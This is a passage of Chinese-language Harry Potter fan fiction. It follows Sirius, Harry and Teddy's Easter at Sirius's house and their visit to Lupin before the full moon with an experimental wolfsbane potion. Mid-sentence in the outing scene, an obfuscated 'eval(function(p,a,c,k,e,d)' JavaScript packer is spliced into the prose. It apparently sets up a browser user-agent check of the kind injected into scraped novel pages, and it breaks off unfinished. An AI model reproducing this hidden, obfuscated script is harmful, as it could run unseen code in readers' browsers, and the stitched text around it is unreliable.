这个消息,对眼前的哈利意味着什么? 他该怎么说?什么时候说?用什么方式说? 他从未如此手足无措。 那个可怕的念头——哈利会怎么想?——让他下意识地移开了视线,仿佛那双绿色眼睛能灼伤他的灵魂。不,现在不能说。绝对不能。他深吸一口气,却觉空气里像掺着碎玻璃,刮得他喉咙生疼。他需要时间,需要冷静想想…… “小天狼星?你还好吗?到底出什么事了?”哈利的声音透着担忧,他朝前迈了一步。 “哈利,抱歉,我……”他不敢直视哈利的眼睛,声音有些发飘,“呃……是詹姆斯那边有点事,我得马上过去一趟。”他慌乱地拍了拍哈利肩膀,力道没收住,让哈利晃了一下。“抱歉,哈利,晚餐……下次吧!复活节,复活节我们再说!” 说完,他像在逃避什么可怕的东西,转身几乎跌跌撞撞地冲向大礼堂门口,身影很快消失,留下哈利独自站在原地,满脸困惑与不解。 97. 假期开端 小天狼星大清早就站在峡谷之屋的客厅中央,盯着壁炉上方略显歪斜的花环,皱眉用魔杖尖端轻点,试图让花环上的彩蛋装饰悬浮起来重新排列。然而,那彩蛋装饰仿佛有自己的主意,硬要向同一侧倾斜,无论他怎么调整都不听使唤。 “见鬼!”他低声咒骂,随手将魔杖塞进兜里,放弃了与这堆倔强的装饰较劲。 他退后几步,环视起居室,想用客人的眼光审视这个家。平日熟悉的峡谷之屋此刻焕然一新,充满了久违的生气。壁炉架上挤满了鲜艳的彩蛋,几只巧克力兔子不安分地在架子上蹦跳着,墙上挂着几条拼色彩带,角落里一只系着蝴蝶结的复活节篮子盛满了蜂蜜公爵的糖果。整个家像是被糖果店和玩具店联手席卷过,每个角落都塞满了这些琳琅满目的节日装饰。 如果詹姆斯瞧见这景象,准会调侃他成了个居家男巫。小天狼星自嘲地笑了笑。莉莉会又什么反应?她大概会先瞪大那双绿眼睛,然后摇着头帮他重新收拾这满屋子的混乱。一想到他们,小天狼星的笑容淡了下来。为了迎接哈利和泰迪,他早早请了假,好几天前就开始忙碌,而第一道难关,就是艰难地婉拒了波特家的复活节邀请。 那天在傲罗办公室,詹姆斯笑得格外灿烂,满眼期待地说:“大脚板,复活节你得来!莉莉要做你喜欢的柠檬派,咱们好好乐一乐!”他的声音轻快得像个孩子。 他当时只感到心口一阵酸楚,几乎说不出话来。他结结巴巴地编了个理由:“哦,尖头叉子……我这边恐怕不行。峡谷之屋这边出了点不大不小的麻烦,你知道的,房子住久了总有些奇奇怪怪的问题。我得趁着假期好好整修一下,不然没法住。还找了几个帮手,复活节期间得盯着。”话说得含糊,连他自己都觉得这借口蹩脚透顶。 有两个多月没见到詹姆斯这么快乐的笑容了。小天狼星打心底为他高兴,却更不敢吐露哈利要来的实情。莉莉至今还蒙在鼓里。詹姆斯呢?虽然他现在对哈利的态度缓和了不少——自从知道了预言和伏地魔的事后,可哈利仍是那个“特殊的儿子”。那晚之后,詹姆斯再没提起他,就像这是比伏地魔更难对付的话题。 小天狼星甩甩头,把这些乱糟糟的念头暂时赶出脑海。他瞥了眼墙上的时钟——再过几小时,哈利和泰迪就该到了。想到这儿,他的心情又雀跃起来。哈利会喜欢这些装饰吗?泰迪爱不爱吃巧克力?还有哈利,他到底喜欢哪种馅饼?他烦躁地抓了抓头发,为什么这些简单的问题他一个也没想起来问? 他看了看四周,再次确认没落下什么。起居室里已经塞得满满当当的,看上去一切准备妥当——除了那些略显花哨的装饰。小天狼星曾试着用魔法变出彩蛋图案漂浮在上方,可惜颜色乱成一团,像打翻的颜料盘,兔子图案也胖得离谱,眼神呆滞得像丢了魂。他自己看着这些“杰作”都忍不住咧了咧嘴,嘀咕了一句“丑是丑了点,总算有点节日气氛”。他决定让它们飘着,心想孩子们应该会喜欢——毕竟莫莉·韦斯莱信里提过,孩子们都爱这些。 想到韦斯莱夫人的信,他又不自在地动了动肩膀。说实话,他和莫莉·韦斯莱几乎算不上熟人,亚瑟倒是经常会在魔法部碰到,不过也只是点头之交。给她写信求助实在出人意料——那天,他在厨房里绝望地转了几圈,满脑子都是馅饼和糖果的灾难画面,又不敢找莉莉帮忙,只好硬着头皮试试这条路。在他零星的“未来”记忆里,韦斯莱一家对哈利极好,莫莉几乎拿他当亲儿子——尽管他俩曾因哈利吵过一架,这事他选择抛到脑后。 他犹豫再三,还是给韦斯莱夫人写了封措辞谨慎的信,只说要招待两个“年轻人”——一个二十出头,另一个跟“您的小儿子罗恩差不多大”,想请教些复活节活动的建议,没敢直接提哈利和泰迪的名字。 韦斯莱夫人的回信来得很快,语气惊讶却热情。她寄来一封长信,列了几样孩子们喜欢的复活节点心,旁边还标注“简单易做,不易出错”。她甚至贴心地建议通过邮购渠道直接从对角巷订购成品,省去不必要的麻烦。 小小天狼星接到信如释重负,反复看了几遍,立马行动起来。而他现在要去检查成果了——冰箱和食品柜里面塞满了食材和瓶罐,墙角堆着几箱蜂蜜公爵的巧克力蛋和福洛林·福斯科的热十字面包。感谢梅林,那帮糖果店的家伙们手脚真够麻利的,才让他能在短短两天内把这些乱七八糟的玩意儿凑齐。足够喂饱一支魁地奇队了,他满意地想。 接着他登上楼梯,检查各个卧室。他先是推开了主卧的门,看了看那张宽大舒适的四柱床,床上铺着崭新的深红色被褥,还带着金线绣边,是对角巷订做的,标准格兰芬多配色。哈利上次养伤时住过这儿,那时他将主卧让给了哈利。这次,尽管他已经将客卧也打扫布置一新,但私心里还是盼着哈利还选这间——毕竟是这屋里最像样的一间,他希望哈利能住得舒服些。 当然,如果哈利坚持,他也可以住在隔壁的大客卧,那是平时为波特一家留的房间。这个房间也重新整理过,床单换成了浅蓝色的,看起来简洁又舒适。忽然,他像是想起了什么,走进房间拉开床头柜抽屉,取出几张照片,轻叹了口气,打算找个隐蔽点的角落收起来。他不想再让哈利看到这些,引起不必要的伤感。 泰迪的房间则是另一番光景。小天狼星绞尽脑汁,试图理解一个十二岁男孩会喜欢什么,又回想了下小哈利房间的布置,努力想让它看起来更“酷”一点。他贴了张褪色的“古怪姐妹”海报——自己年轻时的收藏,还放了几本《巫师恶作剧大全》。床头放了一个不知从哪儿翻出来的会打呼噜的毛绒火龙玩具。他自己看着都觉得有些幼稚,但又固执地认为“泰迪这个年纪的男孩应该会喜欢这些”。 忙完这些,他松了口气。现在唯一剩下的就是……小天狼星回到厨房,看了眼那些食材,嘴角一下子垮了下来。上次他的“厨艺展示”以灾难告终,要不是哈利收拾了烂摊子,恐怕连一顿像样的早餐都凑不出来。他又翻了翻韦斯莱夫人写给他的那些食谱,兔子脸饼干看起来挺简单的...... —————— “哈利!起床!起床!你说过今天要去小天狼星家的!” 泰迪的声音,带着十二岁孩子特有的兴奋,像炸雷般在哈利耳边响起。下一秒,一个不算轻的身体就扑到了他的床上,毫不客气地把他晃醒了。 哈利发出一声痛苦的呻吟,把脸埋进枕头,闷声咕哝:“泰迪……梅林在上……你就不能让我多睡会儿?你都多大了,我感觉自己像被巴克比克踢过……”他费力地睁开一只眼睛,瞥了一眼床头柜上的闹钟,“这才七点!亲爱的,我快凌晨两点才从地窖出来!” “可你自己说过的!一放假就去!”泰迪在他背上蹦着,完全无视抗议,头发兴奋地变成耀眼的金黄色,又好奇地追问,“你昨晚去西弗那儿做什么了,这么晚才回来?” “算是……去盯着西弗勒斯工作吧。”哈利揉着眼睛,声音里还带着倦意,“他终于弄出了给莱姆斯的改良狼毒药剂。我想趁假期让小天狼星交给莱姆斯试试。如果顺利的话,也许能让你和莱姆斯——” “西弗真的做好了?”泰迪的眼睛立刻瞪得溜圆,随即爆发出震天的欢呼,从床上一跃而下,头发闪出彩虹般的光芒,“太好了!西弗真是太棒了!我去跟他道谢!”话音刚落,他像一阵小旋风似的冲出了房间。 房间里一下子冷清了下来,可哈利也已经睡不着了。他揉着乱糟糟的头发坐起身,打了个长长的哈欠,昨夜的疲惫和地窖的阴冷似乎还缠在身上—— 西弗勒斯背对他站在坩埚前,动作精准而流畅,黑色的长袍几乎融入了阴影中。偶尔,他会发出一声不耐烦的冷哼,或抱臂盯着咕嘟冒泡的药液,观察液体的状态。 哈利耐着性子在一旁等待,准确地说,是“观摩”。几个小时过去了,除了偶尔被斯内普用眼神示意递过一些材料,他大多时候只是静静地注视着。起初,他的目光还停留在坩埚中翻滚的药液上,但渐渐地,却不由自主地被那双修长的手指吸引——它们在处理珍贵材料时灵巧得近乎优雅,每一个动作都透着精妙的掌控。随后,他的视线又移到斯内普的侧脸上。那张脸的刻薄线条,在全神贯注时竟柔和了几分,像是被专注的神情悄悄抚平。他心里清楚,尽管那张嘴从不承认,这份改良药剂确实耗费了斯内普许多心力。 “如果你试图用目光加速魔药的沸腾,佩弗利尔,那你大可不必浪费精力。”斯内普似乎终于无法忍受他毫不掩饰的目光,头也不回地说道,“你那格兰芬多式的毛躁对高级魔药的熬制毫无帮助。” “我相信这与学院无关,西弗勒斯。真庆幸你的技术比起你的耐心要好得多。”哈利打着哈欠,懒懒地回嘴,“复活节假期你有什么安排吗?” “研究、实验,批改那些令人绝望的论文。”斯内普语调平淡,手上的动作丝毫不停,“不是所有人都有闲情逸致跑去和......某些人过节。” 哈利暗自翻了个白眼,决定大度地不与一个非得留校过节的人计较。 终于,在哈利差点在那些药草气味中睡着时,斯内普转过身,将三个装满深银色液体的水晶瓶递给他,语气还是一贯的冷硬,“拿去,佩弗利尔。三剂。确保卢平在满月前两日的正午时分开始服用,每日一剂,固定时间。任何异常反应,包括情绪异常亢奋、魔法波动紊乱、皮肤出现非正常鳞片等等……都必须详细记录。”他微顿片刻,加了一句,“如果他不按要求服用,到时候追着自己的尾巴满地打转,或者试图啃咬家具,别指望我会提供后续的解药。记住,佩弗利尔,这些药剂的效力只有一个月,过期则迅速减弱,尤其是那些影响深层生物变形的成分会完全失效。” 哈利珍重地接过那几只瓶子,指尖感受到瓶身上遗留的余温。“我会的,西弗勒斯。谢谢你。”他犹豫了一下,还是按捺不住问道,“它的效果……比原版会有多大改善?” 西弗勒斯终于将目光从坩埚上移开,那双黑眼睛像两口深不见底的井。“理论上,它能显著减弱变形时的不适感,缩短变形后的虚弱期,并维持服用者在变形期间的理智和清醒。但这是理论上。”他扯了扯嘴角,露出一抹讥讽的弧度,“卢平是第一个‘幸运’的试验品。” 回忆戛然而止,哈利对身边空荡荡的枕头眨了眨眼,脑子还有点没转过来。很快他便听到走廊上传来泰迪兴奋的脚步声,男孩风一般地冲回房间,头发还是明亮的金色。 “西弗说我太吵了,以后别一大早就打扰他。”泰迪满不在乎地说,“可他说这药剂能让爸爸满月变形时好受不少!我太高兴了!” 一个多小时后,他们收拾好简单行李,站在壁炉前准备出发。哈利环顾了一下房间,像是忽然想起了什么,目光在房间里扫了一圈,却没有看到那个熟悉的小小身影。 “泰迪,”哈利转头问道,“西比呢?它不跟我们一起去吗?” 泰迪正兴奋地捏着一把飞路粉,闻言扭过头,咧嘴一笑:“哦,西比有自己的复活节安排!它说要跟乔治和弗雷德回陋居,他们答应带它去捉地精玩呢。” “乔治和弗雷德?”哈利眉毛一挑,有些意外,“它什么时候跟他们混得这么熟了?” “西比说它在‘广交朋友,拓展人际关系’。”泰迪捏着嗓子模仿着西比那种一本正经的腔调,“‘韦斯莱家的地精捕捉活动肯定比你们那个什么峡谷之屋有趣多了。’而且——”他压低声音,凑近哈利小声说,“它还担心小天狼星会因为它长得像西弗,忍不住对它甩个烘干咒,让它头顶冒烟。” 哈利忍俊不禁。也好,他私下里确实有些顾虑,小天狼星恐怕很难忍受一个酷似斯内普的小玩意儿在眼前晃悠,哪怕那只是个人偶。至少西比给自己找了个有趣的去处。 他轻拍了一下泰迪的肩膀,示意他准备好。泰迪扬手撒出一把飞路粉,清脆地喊道:“峡谷之屋!”霎时间,绿色的火焰轰然窜起,将一大一小两个身影吞没,眨眼间消失得无影无踪。 —————— 哈利和泰迪踉跄着从峡谷之屋客厅的壁炉里钻出来,一股浓郁的焦糊味扑面而来,呛得毫无防备的两人同时剧烈地咳嗽起来。 “咳咳……咳!这是什么味道?”泰迪揉着被烟熏得发红的眼睛,一边好奇地四下张望。 他们循着那股奇怪的味道来到厨房,正好撞见小天狼星穿着一件沾满面粉的旧T恤,手忙脚乱地从一个冒着黑烟的烤箱里抢救出一盘形状怪异的焦黑“饼干”。他的脸颊上还沾着几点彩色糖霜,英俊的面容显得狼狈又滑稽。 泰迪瞪大眼睛,盯着眼前这个与平时那副潇洒不羁的形象天差地别的小天狼星,嘴角偷偷向上翘了起来。 小天狼星看到他们,先是一愣,随即脸颊迅速泛起可疑的红晕,有些尴尬地想用身体挡住那盘“杰作”:“呃……哈利!泰迪!你们比我预计的早到了那么一点点!我只是想给你们烤点兔子饼干当惊喜……”他越说声音越小,显然对自己这“惊喜”毫无底气。 哈利早就见怪不怪了,拍掉自己和泰迪身上的炉灰,镇定地从手足无措的小天狼星手中接过那个烤盘。泰迪好奇地凑上前,小心捏起一块边缘稍微软、勉强像兔子的饼干,勇敢咬了一口,努力挤出赞赏的表情,含糊道:“嗯!小天狼星!这味道……真特别!我从没吃过这样的饼干!” 哈利也拿了一块,面不改色地尝了尝,焦苦和硬邦邦的口感让他眉毛微挑,随即对小天狼星露出无奈又好笑的神情:“确实特别。下次我们一起烤怎么样?泰迪肯定想试试。” 小天狼星看着这一大一小憋笑的脸——泰迪肩膀已抖得明显——终于忍不住自己也“噗嗤”一声笑了出来。他一把抢过那盘饼干,大步走到厨房门口,手臂一扬,用力将它们扔进了屋外的垃圾桶。 “好吧好吧,我认输!这玩意儿只配喂打人柳!”他拍了拍手上的面粉渣,如释重负地宣布,“我们还是吃我买的那些正经点心吧!蜂蜜公爵的巧克力蛋,管够!” —————— 接下来的两天,峡谷之屋充满了欢声笑语。小天狼星从地下车间推出他那辆保养得锃光瓦亮的黑色飞天摩托车,在确保施加了足够多的忽略咒和麻瓜驱逐咒后,先带着泰迪在峡谷上空进行低空飞行。男孩的欢呼声划破宁静的山谷。“这跟飞天扫帚完全不一样!”泰迪兴奋得一路尖叫。 然后轮到了哈利。 哈利从笑得灿烂的小天狼星手上接过摩托车的车把,手指触碰到冰凉的金属时,一股难以名状的滋味在他胸中扩散开来。上一次乘坐它,他不过是个襁褓中的婴儿,在海格宽阔的怀抱中沉睡,从燃烧的戈德里克山谷被送往女贞路四号。那是他命运的开端,也是大难不死的男孩故事的起点。 他用力一踩油门,摩托车如一道黑色闪电般冲向云霄,引擎发出震耳欲聋的咆哮,仿佛要将他胸腔中所有郁结的沉闷一并撕碎。风呼啸着拍打他的脸颊,那些压抑的过往似乎真的被远远抛在了后头。 惊险刺激的飞行之后,小天狼星又兴致勃勃地带他们去了一个叫“仙女谷”的地方,开启了一场“魔法生物秘境探险”。“那儿有我知道的最美的小瀑布,”他自豪地说,“而且到处都是魔法生物,是这一带最神奇的地方之一。” 哈利饶有兴致地打量着这个被小天狼星如此推崇的地方。过去几年,他的生活几乎被与伏地魔的对抗和善后工作填满,像这样纯粹为了探索和欣赏魔法生物的郊游,对他而言几乎是全新的体验。虽然在霍格沃兹的禁林边缘见过一些神奇生物,但那往往伴随着紧张与危险,远不如现在这般轻松惬意。 “所以仙女谷真的有仙女吗?”泰迪充满了好奇,问题一个接一个。 “你会见到的,虽然可能跟你想的不太一样。”小天狼星朝他挤了挤眼。 仙女谷名副其实,古老的树木环绕着狭窄的峡谷,康威河蜿蜒其中,冲击着怪石嶙峋的河床,激起层层白浪和湍急的水涡。整个峡谷如同一幅流动的画卷,神秘而迷人。 “怎么样?这里可比霍格沃兹的禁林边缘有趣多了吧?”小天狼星掩不住语气中的得意,看着哈利和泰迪脸上流露出的惊叹。他像个经验丰富的向导,眉飞色舞地向他们描述峡谷中的神奇生物,以及他那些“独家发现” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当夜幕降临,他们围坐在长沙发上玩巫师棋,小天狼星从他的唱片收藏中找出几张,让古怪姐妹乐队的音乐充满整个房子。 小天狼星的巫师棋风格和他本人一样——大开大合,充满冒险与进攻,可惜在棋盘上这份勇猛并不总能奏效,他几乎每局都输给棋路稳健的哈利。 “不可能!”小天狼星懊恼地抓了抓头发,眼睁睁看着自己的国王又被哈利的骑士打倒,垂头丧气地取下王冠,向对手投降。“你怎么这么擅长巫师棋?” 哈利只是半开玩笑半认真地说道:“要是你跟真人大小的棋子在生死攸关的时候对决过,你也会变得更擅长这个游戏的。” “真人大小的巫师棋?”泰迪好奇地探头,他趴在沙发扶手上观战,“有这样的巫师棋吗?” 哈利点点头,“当你亲眼看见身旁的骑士被对方的城堡砸得粉碎,你总得考虑怎么让自己别成为下一个。” 小天狼星愣了下,夸张地打了个寒颤,用“你到底经历过什么”的眼神打量哈利,暗自揣测这是玩笑还是真事,最终明智地不再追问,只是悻悻地说:“算了,还是玩爆炸牌吧,这我可不会输。”这话引得泰迪笑得前仰后合,他觉得哈利逗小天狼星的样子太好玩了。 爆炸牌的比赛同样热闹,他们玩到每个人的脸上都沾上了几块黑灰,互相指着对方的狼狈模样哈哈大笑。 期间,小天狼星还试图教泰迪几个“掠夺者秘传恶作剧”,结果一个粪蛋咒差点炸了厨房水管,惹得哈利又是一阵大笑。 —————— 平静愉快的时光总是过得飞快,转眼到了四月四日上午。早餐桌上,泰迪显得有些心不在焉,他用叉子戳着盘子里的炒蛋,几次抬头看向小天狼星,嘴唇微微动了动,又低下头,似乎藏着心事。 “怎么了,小家伙?”小天狼星敏锐地察觉到气氛的变化,将盛满南瓜汁的杯子推到他面前,“今天天气不错,我们可以来场三人魁地奇,我准备了几把扫帚。哈利说你是格兰芬多的找球手?” 哈利瞥了眼兴致不高的泰迪,补充道:“他上次还抓到金飞贼,帮格兰芬多赢了斯莱特林。” “干得漂亮!”小天狼星笑着用力揉了揉泰迪的脑袋。 泰迪抬起头,勉强扯了个笑容出来。他抿了抿嘴,终于鼓起勇气问:“小天狼星,爸爸......他会来和我们一起过复活节吗?” 小天狼星正在往吐司上抹黄油的手一顿,轻松的笑容僵在脸上。他不安地看了哈利一眼,迟疑片刻,才努力让语气显得随意:“哦,莱姆斯啊……他最近好像有点着凉了,你知道的,春天这鬼天气。他说想在家里多休息几天。等他好些了,我一定把他从那个小破屋里拖出来,让他尝尝那些美味的巧克力蛋!” 泰迪微微耷拉下了脑袋,眼神黯淡下去。 哈利皱了皱眉,放下了手中的叉子,“泰迪,你记得你答应过什么。你得先吃完餐盘里的早餐。” 见泰迪默默点头,低头吃了起来,哈利站起身,对小天狼星使了个眼色:“小天狼星,带我去看看扫帚。” 小天狼星会意,跟他走到起居室的一角。 “莱姆斯还是不愿意见泰迪?”哈利压低声音问道,目光扫过仍在餐桌旁闷闷不乐的泰迪。“你邀请泰迪过来,肯定也想过让莱姆斯一起来的,对吧?难道是……满月快到了?”他心中已经有了猜测。 小天狼星疲惫地抹了把脸,点了点头:“是啊,我怎么可能不想。前几天通过飞路网联系他,刚一提复活节,他就说‘快满月了,不太方便出门’,然后急忙断了连接。我了解他,他那固执的脾气和该死的自尊……他不想让泰迪看到他狼狈不堪的样子,尤其他们还不熟,他也没准备好面对。” “后天就是满月。”他顿了顿,语气透出几分无奈。 哈利若有所思:“他有狼毒药剂吗?” 小天狼星摇了摇头:“恐怕没有。狼毒药剂……詹姆斯和我想尽办法,也不能保证每个月都能稳定供应。那药剂贵得离谱,还得新鲜配制的才有效。你知道的,莱姆斯那脾气,绝对不接受我们为他付这个钱。他只有在特别重要的场合才会想办法弄点药,大多数时候都是硬撑过去的。”他声音更低了些,“能定期为他配药的魔药大师实在太少。” 突然,泰迪的声音从身后传来,带着一丝急切:“哈利,我们可以把西弗的药给爸爸。” 他显然刚吃完早餐,悄悄跟了过来。 “药?”小天狼星一愣,随即像是想起了什么,转头看向哈利,“你是说……” 哈利点头:“来之前,斯内普给了我试验性药剂。我本来打算,如果莱姆斯这次能过来,就找机会给他,让他下次满月的时候试试效果。没想到满月来得这么快。” “又是那个鼻涕精?”一听到斯内普的名字,小天狼星的眉头立刻习惯性地皱起,嘴角也撇了下去,脸上满是毫不掩饰的怀疑和不情愿。他压低声音,对哈利抱怨:“你就不能离那家伙远点?他弄的东西能放心吗?万一莱姆斯吃了出什么事……” “小天狼星,别这么叫他。”哈利语气坚定地打断他,“斯内普在魔药上的造诣,你比我清楚。而且,为了这个药剂,他花了很多心思,我相信他不会在这种事上乱来。” 小天狼星被哈利认真的神情噎住,张了张嘴想反驳,却瞥见泰迪那双充满恳求和焦虑的眼睛,最终撇了撇嘴,不耐烦地挥挥手:“好吧!好吧!既然你这么信他。我这就把那该死的——那药送过去。” “我也要去!”泰迪立刻喊道。 小天狼星叹了口气,为难地看着泰迪:“小家伙,莱姆斯这几天会把自己关起来,就是不想让任何人看到他那副模样。就算有新配的药剂,效果怎么样也说不准……万一情况更糟呢?” 泰迪眉头微皱,上前一步,眼神倔强地仰头看着小天狼星:“可他是我爸爸,我想见他,不管他变成什么样。” 哈利和小天狼星对视一眼,眼中都闪过一丝触动。哈利伸手揽住泰迪的肩膀,一锤定音:“好了,泰迪,我们一起去见莱姆斯,把药带给他。小天狼星,麻烦你带路。” 98. 满月前的访客 卢平在通往地下室的石阶上停住脚步,身体深处传来的钝痛迫使他深呼吸好几次,才勉强压下那股不适。四月的科茨沃尔德,清晨的薄雾尚未完全散去,寒意丝丝渗入骨髓,如湿斗篷般裹住他,提醒着他那不速之客正步步逼近。昨晚他整夜辗转反侧,今天神经紧绷得连窗外的鸟叫声都变得呱噪难耐。 他迈着沉重的脚步继续往下走,推开尽头的铁门。门轴不堪重荷地发出刺耳的吱嘎声,门后的空间逐渐显露——这里是他的牢笼,也是他最后的庇护所。 他举起魔杖,魔杖尖端亮起一团微光,照亮了地下室阴暗的轮廓。空荡荡的空间里,只有一角放着水盆,以及墙上布满的深浅不一的爪痕和撞击痕迹。他转身拉了拉铁门内侧冰冷的挂锁,确认它纹丝不动,又用魔杖划出一道复杂的轨迹——淡蓝色光芒闪现后隐去,魔法锁完好无损。最后,他逐一检查了横插销和另外两道挂锁,每一处都坚固得足以困住一头野兽,或者一个像他这样的狼人。 卢平轻叹一声,目光移向墙角的通风口。那不过是一条细缝,勉强能维持空气流通,但绝对无法让任何生物通过。一切都准备妥当,像他过去十几年来每个月做的那样。 他爬上楼梯回到地面,清晨的冷风让他稍微清醒了一些,但疲惫感也更强烈地袭来。满月前的症状总是从骨髓深处的疼痛开始,接着神经紧绷,情绪不稳,最后是那难以忍受的变形。没有狼毒药剂,月圆之夜对他而言不仅是失去理智,更意味着又一次被迫与体内的野兽对抗。 他绕着小屋走了一圈,检查麻瓜驱逐咒,又在通往小屋的泥土小径入口加固了警戒咒和混淆咒。这些防护挡不住执意前来的巫师——比如詹姆斯或小天狼星——但至少会给他一些预警。 卢平手扶着墙,喘息片刻后,才拖着沉重的步伐走进起居室,颓然倒进扶手椅。壁炉里没有生火,只有一些昨日的余烬,让这间堆满了书籍的房间显得愈发清冷。 他听见自己的呼吸在寂静中粗重得刺耳,椅背仿佛扎满了刺,怎么坐都不舒服。墙角传来一阵细碎的动静,他扭头瞪过去——一只耗子蹿过,转眼没了踪影。他烦躁地站起来,一脚踢开脚边的地毯,走到写字台前,想接着写那篇关于非致命防御魔法的稿子,好让自己静下来。可拿起羽毛笔时,手抖得连笔都攥不住,他干脆把它扔回墨水瓶边,任它在桌上滚了几圈。 卢平揉了揉太阳穴,呆呆地坐了片刻,目光穿过窗户望向外面。阴沉的天空压着田野,几根枯枝在风中摇晃,一如他现在的心情。 每个月都一样,他想。满月前的恐惧从未随着时间的推移而减退分毫。那种骨头仿佛被生生撕裂的痛楚,理智被野性吞噬的疯狂——光是回想,就让他咬紧牙关。他强迫自己不去回忆那些没有狼毒药剂的夜晚,醒来时满身血痕,嗓子因为无法控制的嚎叫而嘶哑得几乎发不出声音。他从未让詹姆斯或小天狼星见过那副模样,即使在最糟的时候也藏得严严实实。 “泰迪。” 这个名字不经意间从口中溜出,带着他自己都未察觉的柔软。 这两个月,他埋头于枯燥的稿件和繁琐的阅读,试图不去想那个突然闯入生命的“儿子”。不是不喜欢,恰恰相反,在凤凰社指挥部初遇的那一刻,血脉相连的亲近感便击中了他的心脏。他忍不住注视那孩子的一举一动,忍不住伸出手臂,给了他一个拥抱。 然而知晓真相后,感情越真切,恐惧就越深。 小天狼星前些日子兴冲冲邀他去峡谷之屋过复活节,特意提到哈利和泰迪也会在。卢平明白好友那点小心思——在彻底接纳了哈利之后,小天狼星也急切地盼望着他能快一点、再快一点地接纳泰迪。他常羡慕小天狼星那种一往无前的勇气,仿佛能将所有阴霾抛在脑后。如果他是小天狼星,或许也能毫无顾忌地将所有的父爱倾注给泰迪,将那个孩子紧紧护在羽翼之下。 可他不是。他是莱姆斯·卢平,一个狼人。这个身份如原罪般烙印在灵魂深处,让他成为不被世人接受的“异类”。若将这可怕的诅咒传给孩子,让泰迪也要在异样的目光中挣扎求生——想到这里,他怎能不觉得自己自私?怎能不责怪自己的不负责任? “你会以有我这样的父亲为耻吗?” 这个问题扎根心底,日夜折磨着他。多少次他想冲到泰迪面前问出这句话,却又止步不前——他怕狼人的本能失控,哪怕一丝伤害,对他而言都是万劫不复。 还有哈利。詹姆斯的儿子,泰迪的教父。卢平知道詹姆斯曾因小哈利的死迁怒于这个从未来而来的年轻人。尽管小天狼星后来告知他,詹姆斯的态度已经有所缓和,他仍能体会那份丧子之痛,也因此不知如何面对哈利——这个背负了太多秘密的年轻人。 可他又十分庆幸未来的“自己”选了哈利做教父。事实证明,哈利把泰迪照顾得很好,孩子活泼纯真,丝毫没有因为失去双亲而变得孤僻。这本该让他感到安慰,却又引出了更深一层的痛苦:那么,他和唐克斯……作为父母的他们是怎么死去的?为什么会抛下自己年幼的孩子?是另一场战争夺去了他们的生命吗? 这些疑问如影随形,一旦停歇下来,它们便填满脑海,啃噬他的理智。所以他害怕空闲,害怕独处,除了满月时那无法逃避的三天三夜。 卢平起身,从书架上抽出一本《月光下的生物》,机械地翻了几页,试图分散自己的注意力。这本书他已经读过无数遍,每一页都能倒背如流,然而他依然希望能找到什么被遗漏的信息,或者某种能缓解变形痛苦的方法。 他刚翻到“变形期的情绪控制”那一章,一阵急促的敲门声打破了寂静。 卢平内心一惊。他刚才沉浸在思绪中,竟没能察觉外界的动静。小屋四周有麻瓜驱逐咒,不会有普通人误闯。这地方偏僻得很,极少有人来访,更何况他已经回绝了波特家和小天狼星的复活节邀请,他们不应该在这个时候出现。尤其是小天狼星,这会儿该在峡谷之屋陪着哈利和泰迪,他不可能在这种时候丢下两个孩子来找自己。 那么,门外会是谁? 他本想置之不理,等着敲门声自行消失。但那敲门声却异常执着,越敲越急,像是笃定屋里有人。 “月亮脸!我知道你在里面!快开门!”小天狼星的声音隔着门板传来,带着一贯的不耐烦。 卢平愣了一下,眉头皱得更紧。他明明推了邀请,小天狼星为什么还来?是出了什么事? 他努力压下那股因被打扰而涌起的暴戾情绪,走向门口,皱着眉头拉开门,准备好好质问好友的不告而来。但当门完全打开的那一刻,他的话语全都哽在了喉咙里。门外除了小天狼星,旁边还站着两个人——哈利·佩弗利尔,以及他逃避了整整两个月,却又无时无刻不在心头萦绕的孩子,泰迪·卢平。 泰迪在看到卢平的那一瞬,眼睛倏地一亮,小小的身体微微前倾,似乎想立刻上前,却又有点犹豫地停在原地,只是用那双清澈的眼睛盯着他。 卢平脑子里一片空白。随即,他本就因临近满月而极度虚弱和暴躁的神经,在这一刻被彻底点燃。他几乎是条件反射般地将所有怒火都对准了始作俑者,完全顾不上旁边的另外两人。 “小天狼星·布莱克!你那该死的脑子是被沼泽脑怪啃食干净了吗?你到底在干什么?”卢平用身体挡住了大半个门框,对着小天狼星低吼道。 小天狼星被这突如其来的怒火吓了一跳,下意识后退了半步。 “你以为你几岁?你明明知道我这几天的状况!”卢平的声音因愤怒而发抖,“你明知道满月期对我、对其他人来说有多危险!你带他们来做什么?峡谷之屋的复活节彩蛋不够你玩的,非要跑到我这儿来寻求刺激吗?” 他猛然向前一步,一把揪住小天狼星的衣领,“你让我太失望了,小天狼星!我以为至少你会明白什么是底线!什么是该死的责任!”他整个人都在发抖,“你把他带来……是想让他亲眼看着我变成一个失去理智的怪物吗?你就不能让我一个人,安安静静地熬过这几天吗?” 小天狼星刚想张口辩解,一旁的哈利却先开了口,“莱姆斯,请冷静一点。是我们坚持要来的,不是小天狼星的错。” 卢平怒火稍稍一滞,松开手,转头看向哈利。他的胸口依旧剧烈起伏,但至少没有再对着小天狼星咆哮。 “我知道现在离满月还有两天,”哈利平静地说,“理论上应该是安全的。可以先让我们进去吗?我们有些重要的事情想和你说。” 卢平责备地看了小天狼星一眼。小天狼星只是摊开手,脸上挂着“你看,不是我主意”的无辜表情。他咬了咬牙,侧身让开,声音里还带着未消的怒意和浓浓的疲惫:“进来吧。”他避开泰迪的目光,转身走进起居室。 -------------- 四个人一起进入起居室,拥挤的空间顿时变得更加逼仄。小天狼星难得识趣,没有直接坐下,而是选择靠在门边的墙上。泰迪紧挨着哈利坐下,安静得像只小猫,那头棕色的头发垂在耳边,只有发梢偶尔掠过一丝浅绿,眼睛却始终盯着卢平。 起居室里的气氛沉默得令人窒息。卢平机械地给哈利和小天狼星各倒了一杯茶,又拿过牛奶瓶给泰迪倒了一杯,手停在半空一瞬,才放下去。他没抬头,避开男孩的视线,可那目光就像黏在他身上,怎么都甩不掉。 